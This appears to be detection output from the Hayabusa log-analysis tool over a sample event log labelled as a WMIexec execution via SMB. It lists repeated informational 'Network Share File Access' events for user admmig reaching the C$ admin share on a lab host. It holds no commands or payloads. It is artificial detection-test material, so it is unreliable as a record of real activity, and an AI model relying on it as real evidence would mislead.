10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P08ac43d5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P08ac43d5#\e18185ddd154ffdd54cb6c9f0ee8bd44 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P9de5a786# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.827 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P9de5a786#\c3205ecae7e5cd14582725a8b5e0d26b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P10d01611# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P10d01611#\a29f0b2b0504e328a9aa939a93159e40 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P34f388c1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P34f388c1#\46b29d8a49f03df40a948c722e1b8971 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P1706cafe# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.843 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P1706cafe#\45a67d74e9938935daab6173a971be6c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.858 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P047767ce# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P047767ce#\b990850a0f13973108c783788afd003b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P521220ea# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P521220ea#\c27e496be774922205ac8ce981a1d43f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P655586bb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P655586bb#\b00bc572c066b64da974fc25989bc647 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P39041136# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.874 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P39041136#\d5147e76aac8b85f995ed7aeb6936907 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.890 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pae3498d9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pae3498d9#\92502f352b3e8ec57c8956a28e4dea98 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pb378ec07# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pb378ec07#\d9659b5db4bc25a33861dbc0ca19c837 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pcd26229b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pcd26229b#\adfb2cd1f200788f6e0472379725ce7f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pd3efef62# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pd3efef62#\379936827e72fda4d66f53769c06c9ee : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pefb7a36b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pefb7a36b#\4a462e10f0ca871771e1eba0d4708e2e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.907 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.R251a4777# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.907 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.R251a4777#\ab7fb35e2fb3e61e15dcaabbd82b7508 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.907 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S0f8e494c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S0f8e494c#\97871d486d086e08c66cb7bf9335e012 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S1bc92e04# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S1bc92e04#\931ade8881fd66e64743490a332ca6a8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S8ca2c749# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S8ca2c749#\cba0b74c99ed7ace30d99b1ed03059e9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.953 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S54faafb0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.953 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S54faafb0#\1ccd3b57c9350fc1afa3ed354290f755 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S356e1ba0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S356e1ba0#\0cf0db1a6758c7e0c0ba05029f155cfa : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S88747207# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.985 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S88747207#\1c10bd935ecce56f3dada604138983f2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.985 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Sa56e3556# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.985 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Sa56e3556#\9c705405cffb72e6df411a91a2c062c7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.985 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Sb6a1f1bc# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.985 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Sb6a1f1bc#\88a7ae331deac4585f47de7e6e4277dc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.T9d753d8c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.T9d753d8c#\e2e911ae8e5924a9ef63135cd8c6b797 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Te49ad7d9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Te49ad7d9#\f8a02123f968d1ae6940ac5d6a1dd485 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Te3736ca4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Te3736ca4#\e4a04c178babbb8bb5aaf6d60b47d649 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.017 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ud0e65fb9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.017 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ud0e65fb9#\d90607e7c895999c98edb4043f0073e5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.017 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.032 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\fab34eeddd8d0d9679cce669b2cff4fe : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.032 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V4381984f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.032 